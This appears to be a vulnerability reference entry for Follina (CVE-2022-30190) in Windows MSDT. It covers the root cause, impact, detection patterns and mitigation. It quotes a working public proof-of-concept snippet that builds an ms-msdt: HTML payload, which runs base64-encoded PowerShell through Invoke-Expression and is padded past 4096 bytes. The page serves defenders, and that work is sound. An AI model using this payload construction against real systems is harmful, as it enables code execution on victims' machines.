Follina
- Product
- Microsoft Windows Support Diagnostic Tool (MSDT)
- CVE
- CVE-2022-30190
- Disclosed
- 2022-05-30
- CVSS
- 7.8
- Auth
- pre-auth
- CISA KEV
- yes
- Affected
- All supported Windows client and server versions with MSDT installed (exploitable via Word, RTF previews, and other ms-msdt: URL handlers).
- Fixed
- June 2022 cumulative updates.
Summary
A zero-day found in a malicious Word document uploaded to VirusTotal and named Follina by Kevin Beaumont. Office fetched a remote HTML template that invoked the ms-msdt: protocol handler, and MSDT then ran attacker-supplied PowerShell, even with macros disabled.
Root cause
The ms-msdt: URL handler passed attacker-controlled parameters to the PCWDiagnostic troubleshooter. The IT_BrowseForFile parameter accepts a path containing $(...) PowerShell subexpressions, which the troubleshooter script evaluates. Word's remote template/OLE object loading fetched an HTML page that redirected to ms-msdt:, so code ran on document open (or on RTF preview).
Impact
Code execution as the user when they open (or preview, for RTF) a malicious document; widely used by state and criminal groups.
Public PoC
# document.xml.rels points an external oleObject at the staged HTML:
# <Relationship ... Type=".../oleObject" Target="{staged_html}!" TargetMode="External"/>
# Slap together a unique MS-MSDT payload that is over 4096 bytes at minimum
html_payload = f"""<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'{base64_payload}'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\\""; //"""
html_payload += (
"".join([random.choice(string.ascii_lowercase) for _ in range(4096)])
+ "\n</script>"
)Source: JohnHammond - msdt-follina
Detection
Look for msdt.exe spawned by WINWORD.EXE/OUTLOOK.EXE, sdiagnhost.exe spawning shells, and command lines containing 'IT_BrowseForFile' or 'PCWDiagnostic'. Sigma rules 'Suspicious MSDT Parent Process' cover it.
Mitigation
Install June 2022 updates. Workaround: delete the ms-msdt protocol handler (reg delete HKEY_CLASSES_ROOT\ms-msdt /f).